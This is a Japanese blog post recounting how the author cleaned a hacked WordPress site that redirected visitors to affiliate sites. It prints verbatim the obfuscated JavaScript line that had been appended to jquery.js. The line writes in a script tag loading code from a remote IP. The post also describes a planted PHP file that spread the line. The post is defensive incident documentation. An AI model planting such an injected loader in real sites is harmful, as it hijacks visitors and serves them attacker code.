hycko.blog

昔の記事は上手く表示されないかもしれない。

wordpressでの海外リダイレクトのハッキング事例

   

備忘録。

お客様のWPがハッキングされて海外サイトにリダイレクトされる設定になっていた。
ベタな htaccess によるものかと思いきや、htaccessには特に記述は見当たらず。

リダイレクトは
https://go.padsdel.com/afu.php?id=473791
に先ずされた後に、ハッカーのアフィリエイト先とされる様々なサイトにリダイレクトされる。
海外サイトがメインだけど、日本のヤフーショッピングに飛ばされたりなどもした。

で、 https://go.padsdel.com/afu.php?id=473791 で調べると似たような情報がでてくるわけですな。

wordpressにデフォルトで設置されている jquery.js が書き換えられていた

今回のハッキングは、結論からいうと

/wp-includes/js/jquery/jquery.js

の最後の一行に

var _0xaae8=[“”,”\x6A\x6F\x69\x6E”,”\x72\x65\x76\x65\x72\x73\x65″,”\x73\x70\x6C\x69\x74″,”\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C”,”\x77\x72\x69\x74\x65″];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))

という文字列が挿入されていた。
この一行を削除したら、リダイレクトは無くなった。

この文字列はエンコードしないとわからないようになっていて、恐らくはハッキングコードの除去の際に検索でURLなどの文字列がヒットしない様に、この形になっていると思われる。

で、どうやってこの書き換えが実行されていたか。

wordpressの設置ディレクトリと同列のディレクトリ内に content という見慣れないフォルダが。
その中に recure.php というファイルが入っていました。

content/recure.php

中のコードをみると、シンプルながらも、自分に権限のあるディレクトリをサーバ上位からすべて検索していって、 jquery.php というファイルがあれば、先ほどのエンコードされた文字列を最後を改行して挿入し上書き保存をするという実行ファイルでした。

このファイルもあわせて削除。

どうやってこのハッキングファイルが設置されたか

毎回、これが最大の問題なわけなんですよね。

主な原因は

  1. FTP情報の流出
  2. wordpressの脆弱性をついた攻撃
  3. ユーザーが設定できる範囲での、サーバー設定の脆弱性
  4. ユーザーが設定できない範囲での、サーバー管理者の責任によるサーバーの脆弱性

とりあえずコチラ側ですぐ対応できることは、1への対策でFTPパスワードを変更させること。
次に2への対策で、WPを最新版にアップデートさせる。
3は思い当たる点があれば行う程度。

大問題は4です。
これ、サーバーって企業が運営してれば安全って思う方が多いと思うけど、本当に有名サーバー会社でもザルすぎるセキュリティ設定で、ハッキングされまくりだったりすることが多いです。
でも、サーバー会社の責任でも、それをユーザーが証明する手立てって無いわけですよ、ログはすべてサーバー会社側でしか確認できないし。

なので、法人が運営するウェブサイトを持つ際は、サーバー選びというのは本当に重要です。

個人的にはカゴヤさくらインターネットが、なんとなく信用できるかなって思ってたけど、カゴヤはつい先日顧客情報流出させてたなぁ。

そんな話。

 - wordpress

  • このエントリーをはてなブックマークに追加

Message

記事に意見や感想、質問があれば、お気軽にどうぞ~
名前は無記入でもOKです

日本語が含まれない投稿は無視されますのでご注意ください。(スパム対策)

  関連記事

no image
WP RollbackでRollbackボタンが表示されない

テーマのfunction.phpでプラグインの更新を停止してると表示されない。 …

no image
wordpressのパーマリンク変更プラグイン「Permalink Redirect」での301ループに要注意

以前の記事で書いた通り、パーマリンクを変更しようとしてPermalink Red …

no image
正常に稼動していたwordpressがいきなり500内部サーバエラーになったときの解決法

wordpressで管理しているブログがいきなり500内部サーバーエラーになった …

no image
flshow managerを正しく表示させる方法

FLashで手軽にアニメーションをするナビゲートリンクを作る事ができるFlsho …

no image
PHP Speedy WPは高速化の効果がなかった

設定によってはプラグインに不具合がでるし、体感速度として特にサイト表示が高速化す …

no image
coreserverからさくらVPSにwordpressを移植した時のメモ

興味本位でさくらVPS借りて設定してみたら、なんか普通に使えそうだったので、思い …

no image
毎回ホットッペッパピップペッポッピと言われてもありがたみがないので

サイドバーに貼り付けてあったホットペッパーのCMを3回に1回だけランダムで再生さ …

no image
[Ktai Entry] EWWW Image Optimizerで画像のExifデータの削除やリサイズがされない

これは恐らくEWWW Image Optimizerが画像処理を行うタイミングの …

no image
パーマリンクを変更してみた

笑えるほど順位が激減して復帰もしなさそうだったので、戻しました。 SEO評価戻る …

no image
NextGEN Galleryでスライドショーなどが表示されない場合の解決法

主にプラグインのアップデート後ですが、サイトのNextGEN Gallery関連 …